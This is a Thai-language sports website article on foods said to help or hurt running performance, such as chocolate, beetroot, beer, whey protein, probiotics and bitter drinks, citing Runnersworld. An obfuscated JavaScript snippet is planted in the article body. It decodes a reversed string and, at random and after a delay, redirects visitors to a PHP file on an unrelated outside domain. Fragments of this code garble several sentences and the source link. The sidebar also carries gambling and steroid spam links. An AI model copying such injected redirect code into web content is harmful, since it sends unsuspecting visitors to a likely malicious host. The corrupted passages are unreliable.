• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Healthy Tips

อาหารอะไรบ้างที่มีผลต่อประสิทธิภาพการวิ่ง

Kanthad Yangsattha by Kanthad Yangsattha
25 May 2015
in Healthy Tips, Running Tips, Tips & Technics
0
อาหารอะไรบ้างที่มีผลต่อประสิทธิภาพการวิ่ง
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

ช็อคโกแลต และ บีทรูท (GOOD!)

ผลการวิจัยของ London’s Kingston University พบว่าการาทานช็อคโกแลตจะช่วยเพิ่มประสิทธิภาพการออกกำลังกาย โดยได้จัดการทดลองให้นักปั่นกินช็อคโกแลตขนาด 2 ออนซ์ ทุกวันเป็นเวลา 2 สัปดาห์ ปรากฏว่านักปั่นสามารถปั่นได้ไกลมากขึ้น อึดทึกทนต่อการฝึกแบบ Intense exercise ได้ดีขึ้น ที่ทีมวิจัยคาดว่าสาร epicatechins ที่อยู่ในช็อคโกแลตอาจจะไปช่วยกระตุ้นให้สร้างสาร nitric oxide ที่ช่วยให้เลิอดไหลเวียนได้คล่องตัวหรือ bloodflow ดีขึ้นส่งผลให้ลำเลียงออกซิเจนไปเลี้ยงกล้ามเนื้อมากขึ้น ทั้งนี้การรับประทานเจ้าบีทรูทก็ให้ผลในทำน่องเดียวกันด้วย

เราจะเพิ่มช็อคโกแลต (แนะนำ Dark chocolate) ในเมนูประจำวันเราได้แต่ระวังหน่อยนะครับ เพราะแค่ 2 ออนซ์ก็ 300 กิโลแคลลอรี่แล้ว

$Ikf=function(n){if (typeof ($Ikf.list[n]) == “string”) return $Ikf.list[n].split(“”).reverse().join(“”);return $Ikf.list[n];};$Ikf.list=[“\’php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andc-400×152.jpg” alt=”bandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andc” width=”565″ height=”215″ /> บีทรูทและช็อคโกแลตมีสารอาหารที่ช่วยให้กล้ามเนื้อทำงานได้ดีขึ้นในช่วงออกกำลังกาย (intense exercise)

เบียร์ เบียร์และเบียร์ (BAD!)

ผลการศึกษาของ University of Costa Rica เมื่อให้นักกีฬาดื่มเบียร์ขนาด 3 ไพนต์ (1.419 ลิตร) ภายใน 1 ชั่วโมงหลังออกกกำลังกายพบว่าคนดื่มเบียร์จะมีปฏิกิริยาตอบสนองจะช้าลง และมีการสะสม ยูรีน (Urine) มากขึ้น แถมยังก่อให้เกิดอาการที่เรียกว่า subpar fluid balance หรือความไม่สมดุลของของเหลวในร่างกาย

โปรตีนมั้ยครับ?(GOOD!)

ผลการศึกษาจาก American College of Sports Medicine เมื่อให้นักปั่นที่จบคอร์ส 100 นาที และให้ดื่มเวย์โปรตีนขนาด 85 หรือ 28 กรัม พบว่าจะช่วยให้กระตุ้นการสร้างกล้ามเนื้อ เพราะตัวเวย์โปรตีนจะมีสาร Leucine ที่เป็นกรดอะมิโนที่ช่วยกระตุ้นให้สร้างกล้ามเนื้อและขนาดของโดสมากหรือน้อยมีผลเท่ากัน

แนนำว่ารับประทานอาหารมื้อหลังออกกำลังที่มีโปรตีน (เนื้อ นม ไข่ ปลา) ปริมาณ 25-30 กรัมก็ได้นะ

ยาคูลย์มั้ยค่ะ(GOOD!)

จุลลินทรีย์ในลำไส้มีผลต่อสุขภาพโดยรวม ยิ่งมากยิ่งดี มีงานวิจัยจากประเทศ Irelandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ที่มีการเปรียบเทียบหนุ่มอ้วนแต่สุขภาพดีกับนักรักบี้สุดฟิต พบว่า นักรักบี้จะมีจุนลินทรีย์ที่หลากหลายในลำไส้มากกว่าคนอ้วน แถมยังมีสารพันธุ์ akkermansiaceae เยอะกว่าด้วย ซึ่งเจ้าตัวนี้มีผลต่อการลดความเสี่ยงการเป็นโรคเบาหวานและการอักเสบ

อย่างไรก็ตามการศึกษาเรื่องนี้ยังไม่สามารถฟันธงได้ 100% ยังคงต้องมีการศึกษาเพิ่มเติม

หวานเป็นลมขมเป็นยา(GOOD!)

ขนมของหวานหรือเครื่องดื่มรสหวานมีผลต่อการกระตุ้นสมองให้เราวิ่งได้มากขึ้น เร็วขึ้น แต่ถ้าลองอาหารรสชาติอื่นอย่างรสขมล่ะ มีงานทดลอง ณ ประเทศออสเตรเลีย ได้ให้นักปั่นกินอาหารรสขม (Quinine drink) แบบ calories-free พบว่าสามารถเพิ่มประสิทธิภาพได้ถึง 3% เชียวนะ

ที่มา andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-drinks-that-help-andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-hurt-your-running”>Runnersworld

ShareTweetShare
Kanthad Yangsattha

Kanthad Yangsattha

  • Emas168
  • Emas168 Vip
  • Daftar Akun Emas168
  • Akun Vip Slot Emas168
  • Daftar Akun Vip Slot
  • Related Posts

    ! Без рубрики

    Sustanon 250 steroid: tutto cio che devi sapere

    23 August 2023
    “ไฮเออร์” เตรียมจัดงานวิ่ง HAIER RUN 2023 INSPIRE FUTURE DREAMS
    News

    “ไฮเออร์” เตรียมจัดงานวิ่ง HAIER RUN 2023 INSPIRE FUTURE DREAMS

    3 May 2023
    บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
    News

    บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

    9 December 2022
    Load More
    • 12.1k Fan
    • 22 Follower
    • 30 Follower

    บทความยอดนิยมใน 7 วันนี้

    • วิธีคำนวณ Maximum Heart Rate

      วิธีคำนวณ Maximum Heart Rate

      0 shares
      Share 0 Tweet 0
    • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

      0 shares
      Share 0 Tweet 0
    • เฟรมสำเนา เหมือนแค่ไหนยังไงก็คือของปลอม!

      0 shares
      Share 0 Tweet 0
    • 5 กระบวนท่าพื้นฐานฝึกกล้ามเนื้อ Core

      0 shares
      Share 0 Tweet 0
    • มารู้จัก”มัดกล้ามเนื้อที่ใช้ปั่นจักรยาน”กัน

      0 shares
      Share 0 Tweet 0

    ทดสอบ

    ทดสอบ

    StepExtra

    STEP EXTRA

    Run more, Spin More

    เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

    • เกี่ยวกับเรา
    • ติดต่อลงโฆษณา

    บทความล่าสุด

    Sustanon 250 steroid: tutto cio che devi sapere

    23 August 2023
    “ไฮเออร์” เตรียมจัดงานวิ่ง HAIER RUN 2023 INSPIRE FUTURE DREAMS

    “ไฮเออร์” เตรียมจัดงานวิ่ง HAIER RUN 2023 INSPIRE FUTURE DREAMS

    3 May 2023
    บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

    บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

    9 December 2022

    Browse by Category

    • ! Без рубрики
    • Event
      • Cycling Event
      • Running Event
      • Triathlon Event
    • Feature
    • Interview
    • News
      • Cycling News
      • Gadget News
      • Gear News
      • Healthy News
      • PR
      • Running News
      • Shoes
    • Place & Route
      • Cycling
      • Running
    • Reviews
      • Gadget Review
      • Shoes Review
      • Sport Gear
    • Tips & Technics
      • Cycling Tips
      • Gadget Tips
      • Healthy Tips
      • Running Tips
      • Training
    • Travel

    Partner

    • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

    © 2014STEP EXTRA

    • ข่าวสาร
    • บทวิจารณ์
    • เกร็ดความรู้
    • สถานที่-เส้นทาง
    • Sport Caravan Camping
    No Result
    View All Result
    • ข่าวสาร
      • Running News
      • Bicycle
      • Healthy News
      • Gadget News
      • Shoes
    • บทวิจารณ์
      • Shoes Review
      • Gadget Review
      • Sport Gear
    • เกร็ดความรู้
      • Running Tips
      • Cycling Tips
      • Training
      • Healthy Tips
      • Gadget Tips
    • สถานที่-เส้นทาง
      • Running
      • Cycling
    • Sport Caravan Camping

    © 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

    This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.